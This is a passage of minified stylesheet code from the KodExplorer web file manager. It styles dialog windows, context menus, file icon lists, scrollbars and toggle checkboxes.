center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}#selContainer{position:absolute;cursor:default;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}#selContainer:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.fileList_icon,.file-draging.fileList_list,.file-draging.fileList_list_split{z-index:1000;overflow:visible;}.file-draging.fileList_icon div.file,.file-draging.fileList_list div.file,.file-draging.fileList_list_split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.fileList_icon div.file.handle_target,.file-draging.fileList_list div.file.handle_target,.file-draging.fileList_list_split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:4px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag_number{display:none;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging{cursor:move;cursor:-webkit-grabbing;}.selectDragDraging .fileList_icon .selectDragTemp{transform:scale(1.1,1.1);}.fileContiner .file .filename .title.db_click_rename{cursor:text;}.fileList_icon{padding:10px 0 0 10px;}.fileList_icon .meta_info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.fileList_icon .meta_info img{width:100%;height:100%;}.fileList_icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.fileList_icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;}.fileList_icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.fileList_icon .file .filename #pathRenameTextarea,.fileList_icon .file .filename .newfile{width:60px;padding:2px 0px;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.fileList_icon .file .filename #pathRenameTextarea:focus,.fileList_icon .file .filename .newfile:focus{outline:none;}.fileList_icon .file.select,.fileList_icon .file.selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_icon .file.file_icon_edit{overflow:visible;}.fileList_icon .file.file_icon_edit .filename{position:absolute;z-index:99;}.fileList_icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.fileList_icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.fileList_icon .file .ico.picasaImage{background:none;width:50px;padding-left:5px;}.fileList_icon .file .ico.picasaImage img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;}.fileList_icon .file .ico.picasaImage img.lazyload_ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list_type_list{z-index:5;position:absolute;width:100%;top:85px;}#main_title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main_title .box-shadow(1px 2px 15px #dde) +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999048.0003] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} 